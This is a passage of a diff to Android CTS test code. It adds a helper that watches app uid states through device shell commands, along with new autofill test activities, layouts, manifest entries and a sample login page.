+    final WatchUidRunner mUidWatcher;
 
     public ServiceProcessController(Context context, Instrumentation instrumentation,
             String myPackageName, Intent[] serviceIntents)
@@ -75,6 +77,7 @@
 
         ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
                 mServicePackage, 0);
+        mUid = appInfo.uid;
 
         mUidForegroundListener = new UidImportanceListener(appInfo.uid);
         mAm.addOnUidImportanceListener(mUidForegroundListener,
@@ -82,9 +85,48 @@
         mUidGoneListener = new UidImportanceListener(appInfo.uid);
         mAm.addOnUidImportanceListener(mUidGoneListener,
                 ActivityManager.RunningAppProcessInfo.IMPORTANCE_EMPTY);
+
+        mUidWatcher = new WatchUidRunner(instrumentation, appInfo.uid);
     }
 
-    public void cleanup() {
+    public void denyBackgroundOp(long timeout) throws IOException {
+        String cmd = "appops set " + mServicePackage + " RUN_IN_BACKGROUND deny";
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+
+        // This is a side-effect of the app op command.
+        mUidWatcher.expect(WatchUidRunner.CMD_IDLE, null, timeout);
+        mUidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "NONE", timeout);
+    }
+
+    public void allowBackgroundOp() throws IOException {
+        String cmd = "appops set " + mServicePackage + " RUN_IN_BACKGROUND allow";
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+    }
+
+    public void makeUidIdle() throws IOException {
+        String cmd = "am make-uid-idle " + mServicePackage;
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+    }
+
+    public void removeFromWhitelist() throws IOException {
+        String cmd = "cmd deviceidle whitelist -" + mServicePackage;
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+    }
+
+    public void addToWhitelist() throws IOException {
+        String cmd = "cmd deviceidle whitelist +" + mServicePackage;
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+    }
+
+    public void tempWhitelist(long duration) throws IOException {
+        String cmd = "cmd deviceidle tempwhitelist -d " + duration + " " + mServicePackage;
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+    }
+
+    public void cleanup() throws IOException {
+        removeFromWhitelist();
+        allowBackgroundOp();
+        mUidWatcher.finish();
         mAm.removeOnUidImportanceListener(mUidGoneListener);
         mAm.removeOnUidImportanceListener(mUidForegroundListener);
         mData.recycle();
@@ -94,6 +136,10 @@
         return mConnections[index];
     }
 
+    public int getUid() {
+        return mUid;
+    }
+
     public UidImportanceListener getUidForegroundListener() {
         return mUidForegroundListener;
     }
@@ -102,15 +148,22 @@
         return mUidGoneListener;
     }
 
+    public WatchUidRunner getUidWatcher() {
+        return mUidWatcher;
+    }
+
     public void ensureProcessGone(long timeout) {
         for (int i=0; i<mConnections.length; i++) {
             mConnections[i].bind(timeout);
+        }
+
+        for (int i=0; i<mConnections.length; i++) {
             IBinder serviceBinder = mConnections[i].getServiceIBinder();
+            mConnections[i].unbind(timeout);
             try {
                 serviceBinder.transact(IBinder.FIRST_CALL_TRANSACTION, mData, null, 0);
             } catch (RemoteException e) {
             }
-            mConnections[i].unbind(timeout);
         }
 
         // Wait for uid's process to go away.
@@ -121,5 +174,6 @@
             throw new IllegalStateException("Unexpected importance after killing process: "
                     + importance);
         }
+        mUidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, timeout);
     }
 }
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java b/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
new file mode 100644
index 0000000..e2abf67
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.util.Log;
+
+import java.io.BufferedOutputStream;
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+/**
+ * bit CtsAppTestCases:ActivityManagerProcessStateTest
+ */
+public class WatchUidRunner {
+    public static final int CMD_PROCSTATE = 0;
+    public static final int CMD_ACTIVE = 1;
+    public static final int CMD_IDLE = 2;
+    public static final int CMD_UNCACHED = 3;
+    public static final int CMD_CACHED = 4;
+    public static final int CMD_GONE = 5;
+
+    static final String[] COMMAND_TO_STRING = new String[] {
+            "procstate", "active", "idle", "uncached", "cached", "gone"
+    };
+
+    final Instrumentation mInstrumentation;
+    final int mUid;
+    final String mUidStr;
+    final Pattern mSpaceSplitter;
+    final ParcelFileDescriptor mReadFd;
+    final FileInputStream mReadStream;
+    final BufferedReader mReadReader;
+    final ParcelFileDescriptor mWriteFd;
+    final FileOutputStream mWriteStream;
+    final PrintWriter mWritePrinter;
+    final Thread mReaderThread;
+
+    // Shared state is protected by this.
+    final ArrayList<String[]> mPendingLines = new ArrayList<>();
+
+    boolean mStopping;
+
+    public WatchUidRunner(Instrumentation instrumentation, int uid) {
+        mInstrumentation = instrumentation;
+        mUid = uid;
+        mUidStr = Integer.toString(uid);
+        mSpaceSplitter = Pattern.compile("\\s+");
+        ParcelFileDescriptor[] pfds = instrumentation.getUiAutomation().executeShellCommandRw(
+                "am watch-uids");
+        mReadFd = pfds[0];
+        mReadStream = new ParcelFileDescriptor.AutoCloseInputStream(mReadFd);
+        mReadReader = new BufferedReader(new InputStreamReader(mReadStream));
+        mWriteFd = pfds[1];
+        mWriteStream = new ParcelFileDescriptor.AutoCloseOutputStream(mWriteFd);
+        mWritePrinter = new PrintWriter(new BufferedOutputStream(mWriteStream));
+        // Executing a shell command is asynchronous but we can't proceed further with the test
+        // until the 'watch-uids' cmd is executed.
+        waitUntilUidObserverReady();
+        mReaderThread = new ReaderThread();
+        mReaderThread.start();
+    }
+
+    private void waitUntilUidObserverReady() {
+        try {
+            final String line = mReadReader.readLine();
+            assertTrue("Unexpected output: " + line, line.startsWith("Watching uid states"));
+        } catch (IOException e) {
+            fail("Error occurred " + e);
+        }
+    }
+
+    public void expect(int cmd, String procState, long timeout) {
+        long waitUntil = SystemClock.uptimeMillis() + timeout;
+        String[] line = waitForNextLine(waitUntil);
+        if (!COMMAND_TO_STRING[cmd].equals(line[1])) {
+            throw new IllegalStateException("Expected cmd " + COMMAND_TO_STRING[cmd]
+                    + " but next report was " + Arrays.toString(line));
+        }
+        if (procState != null && (line.length < 3 || !procState.equals(line[2]))) {
+            throw new IllegalStateException("Expected procstate " + procState
+                    + " but next report was " + Arrays.toString(line));
+        }
+    }
+
+    public void waitFor(int cmd, String procState, long timeout) {
+        long waitUntil = SystemClock.uptimeMillis() + timeout;
+        while (true) {
+            String[] line = waitForNextLine(waitUntil);
+            if (COMMAND_TO_STRING[cmd].equals(line[1])) {
+                if (procState == null) {
+                    return;
+                }
+                if (line.length >= 3 && procState.equals(line[2])) {
+                    return;
+                } else {
+                    Log.d("XXXX", "Skipping because procstate not " + procState + ": "
+                            + Arrays.toString(line));
+                }
+            } else {
+                Log.d("XXXX", "Skipping because not " + COMMAND_TO_STRING[cmd] + ": "
+                        + Arrays.toString(line));
+            }
+        }
+    }
+
+    String[] waitForNextLine(long waitUntil) {
+        synchronized (mPendingLines) {
+            while (mPendingLines.size() == 0) {
+                long now = SystemClock.uptimeMillis();
+                if (now >= waitUntil) {
+                    throw new IllegalStateException("Timed out waiting for next line");
+                }
+                try {
+                    mPendingLines.wait(waitUntil - now);
+                } catch (InterruptedException e) {
+                }
+            }
+            return mPendingLines.remove(0);
+        }
+    }
+
+    public void finish() {
+        synchronized (mPendingLines) {
+            mStopping = true;
+        }
+        mWritePrinter.println("q");
+        try {
+            mWriteStream.close();
+        } catch (IOException e) {
+        }
+        try {
+            mReadStream.close();
+        } catch (IOException e) {
+        }
+    }
+
+    final class ReaderThread extends Thread {
+        String mLastReadLine;
+
+        @Override
+        public void run() {
+            String[] line;
+            try {
+                while ((line = readNextLine()) != null) {
+                    if (line.length < 2) {
+                        Log.d("XXXXX", "Skipping: " + mLastReadLine);
+                        continue;
+                    }
+                    if (!line[0].equals(mUidStr)) {
+                        Log.d("XXXXX", "Skipping: " + mLastReadLine);
+                        continue;
+                    }
+                    Log.d("XXXXX", "Enqueueing: " + mLastReadLine);
+                    synchronized (mPendingLines) {
+                        if (mStopping) {
+                            return;
+                        }
+                        mPendingLines.add(line);
+                        mPendingLines.notifyAll();
+                    }
+                }
+            } catch (IOException e) {
+                Log.w("WatchUidRunner", "Failed reading", e);
+            }
+        }
+
+        String[] readNextLine() throws IOException {
+            mLastReadLine = mReadReader.readLine();
+            if (mLastReadLine == null) {
+                return null;
+            }
+            return mSpaceSplitter.split(mLastReadLine);
+        }
+    }
+}
diff --git a/tests/aslr/Android.mk b/tests/aslr/Android.mk
index 9b4866f..2abe2a8 100644
--- a/tests/aslr/Android.mk
+++ b/tests/aslr/Android.mk
@@ -33,6 +33,6 @@
     libgtest
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/autofillservice/Android.mk b/tests/autofillservice/Android.mk
index 788f976..eaf2f17 100644
--- a/tests/autofillservice/Android.mk
+++ b/tests/autofillservice/Android.mk
@@ -28,12 +28,12 @@
     ctstestrunner \
     truth-prebuilt \
     ub-uiautomator \
-    testng
+    testng # TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAutoFillServiceTestCases
 
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 08f0754..5274b70 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -43,29 +43,37 @@
         <activity android:name=".TimePickerClockActivity" />
         <activity android:name=".TimePickerSpinnerActivity" />
         <activity android:name=".FatActivity" />
-        <activity android:name=".VirtualContainerActivity">
-            <intent-filter>
-                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
+        <activity android:name=".VirtualContainerActivity"/>
         <activity android:name=".OptionalSaveActivity" />
         <activity android:name=".AllAutofillableViewsActivity" />
-        <activity android:name=".GridActivity" >
-            <intent-filter>
-                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
+        <activity android:name=".GridActivity"/>
         <activity android:name=".EmptyActivity"/>
         <activity android:name=".DummyActivity"/>
         <activity android:name=".OutOfProcessLoginActivity"
             android:process="android.autofillservice.cts.outside"/>
         <activity android:name=".FragmentContainerActivity" />
+        <activity android:name=".DuplicateIdActivity"
+            android:theme="@android:style/Theme.NoTitleBar" />
+        <activity android:name=".SimpleSaveActivity"/>
+        <activity android:name=".PreSimpleSaveActivity">
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <activity android:name=".WebViewActivity"/>
+        <activity android:name=".TrampolineWelcomeActivity"/>
+        <activity android:name=".AttachedContextActivity"/>
+        <activity android:name=".TrampolineForResultActivity" />
+
+        <receiver android:name=".SelfDestructReceiver"
+            android:exported="true"
+            android:process="android.autofillservice.cts.outside"/>
+        <receiver android:name=".OutOfProcessLoginActivityFinisherReceiver"
+            android:exported="true"
+            android:process="android.autofillservice.cts.outside"/>
 
         <service
             android:name=".InstrumentedAutoFillService"
@@ -75,6 +83,22 @@
                 <action android:name="android.service.autofill.AutofillService" />
             </intent-filter>
         </service>
+        <service
+            android:name=".NoOpAutofillService"
+            android:label="NoOpAutofillService"
+            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+            <intent-filter>
+                <action android:name="android.service.autofill.AutofillService" />
+            </intent-filter>
+        </service>
+        <!--  BadAutofillService does not declare the proper permission -->
+        <service
+            android:name=".BadAutofillService"
+            android:label="BadAutofillService">
+            <intent-filter>
+                <action android:name="android.service.autofill.AutofillService" />
+            </intent-filter>
+        </service>
     </application>
 
     <instrumentation
diff --git a/tests/autofillservice/assets/login.html b/tests/autofillservice/assets/login.html
new file mode 100644
index 0000000..60e7cf7
--- /dev/null
+++ b/tests/autofillservice/assets/login.html
@@ -0,0 +1,26 @@
+<!DOCTYPE html>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<html>
+<body>
+<form action="login.html" name="FORM AM I">
+    Username: <input type="text" name="username" autocomplete="username" placeholder="There's no place like a holder"/><br/>
+    Password: <input type="password" name="password" autocomplete="current-password" placeholder="Holder it like it cannnot passer a word"/><br/>
+    <br/>
+    <input type="submit" value="Login"/>
+</form>
+</body>
+</html>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/custom_description_with_link.xml b/tests/autofillservice/res/layout/custom_description_with_link.xml
new file mode 100644
index 0000000..fc67479
--- /dev/null
+++ b/tests/autofillservice/res/layout/custom_description_with_link.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="horizontal"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+    <TextView android:id="@+id/static_text"
+        android:paddingEnd="16dp"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"
+        android:text="YO:"/>
+
+    <Button android:id="@+id/link"
+        android:paddingEnd="16dp"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"
+        android:text="DON'T TAP ME!"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/duplicate_id_layout.xml b/tests/autofillservice/res/layout/duplicate_id_layout.xml
new file mode 100644
index 0000000..a5643ea
--- /dev/null
+++ b/tests/autofillservice/res/layout/duplicate_id_layout.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <CheckBox
+        android:id="@+id/duplicate_id"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+    <CheckBox
+        android:id="@+id/duplicate_id"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml
index e16d1c4..8765882 100644
--- a/tests/autofillservice/res/layout/login_activity.xml
+++ b/tests/autofillservice/res/layout/login_activity.xml
@@ -38,7 +38,8 @@
         <EditText
             android:id="@+id/username"
             android:layout_width="match_parent"
-            android:layout_height="wrap_content" />
+            android:layout_height="wrap_content"
+            android:imeOptions="flagNoFullscreen" />
     </LinearLayout>
 
     <LinearLayout
@@ -56,7 +57,8 @@
             android:id="@+id/password"
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
-            android:inputType="textPassword"/>
+            android:inputType="textPassword"
+            android:imeOptions="flagNoFullscreen" />
     </LinearLayout>
 
     <LinearLayout
@@ -75,24 +77,28 @@
             android:id="@+id/clear"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Clear" />
 
         <Button
             android:id="@+id/save"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Save" />
 
         <Button
             android:id="@+id/login"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Login" />
 
         <Button
             android:id="@+id/cancel"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Cancel" />
     </LinearLayout>
 
@@ -101,4 +107,4 @@
         android:layout_width="match_parent"
         android:layout_height="wrap_content" />
 
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/pre_simple_save_activity.xml b/tests/autofillservice/res/layout/pre_simple_save_activity.xml
new file mode 100644
index 0000000..3440524
--- /dev/null
+++ b/tests/autofillservice/res/layout/pre_simple_save_activity.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/preLabel"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Pre-label:" />
+        <EditText
+            android:id="@+id/preInput"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <Button
+            android:id="@+id/submit"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Submit" />
+    </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/simple_save_activity.xml b/tests/autofillservice/res/layout/simple_save_activity.xml
new file mode 100644
index 0000000..c48e0c3
--- /dev/null
+++ b/tests/autofillservice/res/layout/simple_save_activity.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Label:" />
+        <EditText
+            android:id="@+id/input"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:imeOptions="flagNoFullscreen" />
+        <EditText
+            android:id="@+id/password"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:inputType="textPassword"
+            android:imeOptions="flagNoFullscreen" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <Button
+            android:id="@+id/cancel"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Cancel" />
+
+        <Button
+            android:id="@+id/commit"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Commit" />
+    </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
new file mode 100644
index 0000000..944f926
--- /dev/null
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="horizontal"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+    <TextView android:id="@+id/static_text"
+        android:paddingEnd="16dp"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"
+        android:text="YO:"/>
+
+    <TextView android:id="@+id/first"
+        android:paddingEnd="16dp"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"/>
+
+    <TextView android:id="@+id/second"
+        android:layout_weight="1"
+        android:layout_width="0dp"
+        android:layout_height="match_parent"/>
+
+    <ImageView android:id="@+id/img"
+        android:paddingStart="16dp"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/webview_activity.xml b/tests/autofillservice/res/layout/webview_activity.xml
new file mode 100644
index 0000000..84ead4f
--- /dev/null
+++ b/tests/autofillservice/res/layout/webview_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<android.autofillservice.cts.MyWebView  xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/webview"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent"
+/>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
index 86eb136..ad7ffe9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
@@ -15,24 +15,13 @@
  */
 package android.autofillservice.cts;
 
-import static android.widget.ArrayAdapter.createFromResource;
-
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.content.Intent;
 import android.os.Bundle;
-import android.os.SystemClock;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.WindowManager;
-import android.widget.ArrayAdapter;
 import android.widget.Button;
-import android.widget.CheckBox;
 import android.widget.DatePicker;
 import android.widget.EditText;
-import android.widget.RadioButton;
-import android.widget.RadioGroup;
-import android.widget.Spinner;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
index 89c028b..848b3cc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
@@ -154,8 +154,7 @@
         private FillExpectation(String output, int hour, int minute) {
             // Output is called twice: by the TimeChangeListener and by auto-fill.
             outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
-            // TimePicker listener is called twice, for hour and minute changes.
-            timeListener = new MultipleTimesTimeListener("timePicker", 2, mTimePicker, hour,
+            timeListener = new MultipleTimesTimeListener("timePicker", 1, mTimePicker, hour,
                     minute);
         }
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java
new file mode 100644
index 0000000..097967e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.widget.EditText;
+
+import java.util.Locale;
+
+/**
+ * Simple activity that attaches a new base context.
+ */
+public class AttachedContextActivity extends AbstractAutoFillActivity {
+    static final String ID_INPUT = "input";
+
+    EditText mInput;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_save_activity);
+
+        mInput = findViewById(R.id.input);
+    }
+
+    @Override
+    protected void attachBaseContext(Context newBase) {
+        final Context localContext = applyLocale(newBase, "en");
+        super.attachBaseContext(localContext);
+    }
+
+    private Context applyLocale(Context context, String language) {
+        final Resources resources = context.getResources();
+        final Configuration configuration = resources.getConfiguration();
+        configuration.setLocale(new Locale(language));
+        return context.createConfigurationContext(configuration);
+    }
+
+    FillExpectation expectAutoFill(String input) {
+        final FillExpectation expectation = new FillExpectation(input);
+        mInput.addTextChangedListener(expectation.mInputWatcher);
+        return expectation;
+    }
+
+    final class FillExpectation {
+        private final OneTimeTextWatcher mInputWatcher;
+
+        private FillExpectation(String input) {
+            mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
+        }
+
+        void assertAutoFilled() throws Exception {
+            mInputWatcher.assertAutoFilled();
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
new file mode 100644
index 0000000..45f7264
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
